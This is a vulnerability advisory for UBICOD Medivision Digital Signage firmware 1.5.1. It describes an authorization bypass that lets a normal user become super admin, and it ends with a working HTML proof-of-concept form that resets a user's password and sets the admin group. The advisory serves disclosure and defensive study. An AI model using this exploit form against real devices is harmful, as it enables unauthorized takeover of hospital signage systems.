UBICOD Medivision Digital Signage 1.5.1 Privilege Escalation Through Authorization Bypass
Vendor: UBICOD Co., Ltd. | MEDIVISION INC.
Product web page: http://www.medivision.co.kr
Affected version: Firmware 1.5.1 (2013.01.3)
Summary: Medivision is a service that provides everything from
DID operation to
development of DID (Digital Information Display) optimized for
hospital environment
and production of professional contents, through DID product
installation, image,
video content planning, design work, and remote control. This is a
one-stop solution
that solves management at once.
Desc: The application suffers from a privilege escalation
vulnerability. Normal user
can elevate his/her privileges by navigating to /html/user (via
IDOR) page sending an
HTTP GET request setting the parameter 'ft[grp]' to integer value
'3' gaining super
admin rights.
Tested on: Apache/2.4.7 (Ubuntu)
PHP/5.5.9-1ubuntu4.22
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2020-5575
Advisory URL:
https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5575.php
19.06.2020
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<html>
<body>
<form action="http://10.0.39.2/query/user/itSet"
method="POST">
<input type="hidden" name="aa[_id]" value="157" />
<input type="hidden" name="aa[pass]" value="123456" />
<input type="hidden" name="od[]" value="name" />
<input type="hidden" name="ft[grp]" value="3" />
<input type="hidden" name="ip" value="0" />
<input type="hidden" name="np" value="13" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
